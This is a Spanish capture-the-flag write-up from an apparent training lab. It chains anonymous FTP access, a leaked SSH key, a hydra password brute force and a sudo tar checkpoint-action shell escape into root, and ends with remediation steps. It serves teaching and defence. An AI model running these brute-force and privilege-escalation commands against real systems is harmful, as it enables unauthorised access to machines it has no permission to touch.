GhostLabs logo

GhostLabs

red team operations  ::  offensive security
⚠ write-up — ftp anonymous
âš    SPOILER — Lee esto solo después de intentar resolver el laboratorio   âš 
Laboratorio
FTP ANONYMOUS
Dificultad
★★★★☆   Difícil (4 pts)
Servicios
FTP :21 · SSH :2222
Vectores
FTP anon → SSH key → sudo tar

Flujo de ataque

01nmap → descubrir FTP (21) y SSH (2222)
↓
02FTP anónimo → descargar id_rsa y README.txt
↓
03README revela usuario "peter" → ssh -i id_rsa peter@IP
↓
04sudo -l → peter puede usar /bin/tar con contraseña
↓
05hydra bruteforce → "parker" → sudo tar GTFOBins → root → flag.txt

Solución paso a paso

1
Reconocimiento con nmap

Escaneamos todos los puertos del objetivo:

nmap -sV -p- --min-rate 5000 <LAB_IP>

# Output esperado:
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
2222/tcp open  ssh     OpenSSH 7.9p1 Debian
Usa siempre -p- para escanear todos los puertos. Muchos servicios se ocultan en puertos no estándar y un escaneo por defecto solo cubre los 1000 más comunes.
2
FTP anónimo — descarga de ficheros

Intentamos acceso anónimo al FTP:

ftp <LAB_IP>
# Usuario: anonymous
# Password: (enter vacío)

ftp> ls
ftp> cd pub
ftp> ls
# README.txt  id_rsa

ftp> get README.txt
ftp> get id_rsa
ftp> bye
Si el FTP se cuelga en el ls, prueba el modo pasivo: ftp -p <LAB_IP> o usa lftp que gestiona el modo pasivo automáticamente.
3
Acceso SSH con clave privada

Leemos el README descargado:

cat README.txt
Backup de clave SSH del usuario peter.

Conocemos el usuario. Usamos la clave privada para conectarnos:

chmod 600 id_rsa
ssh -i id_rsa peter@<LAB_IP> -p 2222

Tenemos shell como peter.

SSH rechazará la clave si los permisos son demasiado abiertos. El chmod 600 es obligatorio — la clave debe ser legible solo por el propietario.
4
Enumeración de sudo

Comprobamos qué puede ejecutar peter con sudo:

sudo -l

User peter may run the following commands:
    (root) /bin/tar

Peter puede ejecutar tar como root pero necesita su contraseña. El SSH tiene autenticación por contraseña habilitada — la atacamos con hydra desde Kali:

En hydra, -p (minúscula) significa "una sola contraseña", no "puerto". El puerto se especifica dentro de la URL: ssh://host:puerto
hydra -l peter -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 64

[2222][ssh] login: peter   password: parker
5
Escalada a root — sudo tar

En GTFOBins — tar buscamos la sección Shell → pestaña Sudo. El comando que muestra es:

tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
GTFOBins - tar Shell Sudo

El comando adaptado a nuestro caso

sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

¿Por qué difiere del comando de GTFOBins?

GTFOBins Nuestro comando Por qué
tar sudo /bin/tar Necesitamos ejecutar como root vía sudo. La ruta completa /bin/tar debe coincidir exactamente con la entrada de sudoers — si escribes solo tar puede resolverse a otra ruta y ser denegado
cf -cf Son equivalentes. GNU tar acepta opciones en formato POSIX tradicional (cf, sin guión) y en formato GNU (-cf, con guión). GTFOBins usa el estilo tradicional; ambos funcionan igual

Por qué funciona — desglose

sudo /bin/tar Ejecuta tar como root gracias a la regla de sudoers
-cf /dev/null /dev/null Crea un archivo tar vacío en /dev/null — solo para que tar arranque; el resultado se descarta
--checkpoint=1 Activa un checkpoint después de procesar cada 1 registro
--checkpoint-action=exec=/bin/sh En cada checkpoint ejecuta /bin/sh — como tar corre como root, la shell se abre como root
# Introducimos la contraseña cuando nos la pida:
# [sudo] password for peter: parker

whoami
root
6
Captura de la flag
cat /root/flag.txt
Flag
GhostLabs{ftp_an0n_2_ssh_k3y_2_sud0_t4r_0wn3d}

Remediación

# 1 — Deshabilitar FTP anónimo en vsftpd.conf
anonymous_enable=NO

# 2 — Nunca almacenar claves SSH privadas en FTP
# Las claves privadas deben estar solo en el equipo del usuario

# 3 — Revisar /etc/sudoers — no dar sudo a tar, awk, less, etc.
# Usar visudo y aplicar mínimo privilegio
# Si es necesario, restringir los argumentos:
peter ALL=(root) NOPASSWD: /usr/bin/tar --backup

# 4 — Auditar periódicamente los permisos sudo
sudo -l -U peter

Recursos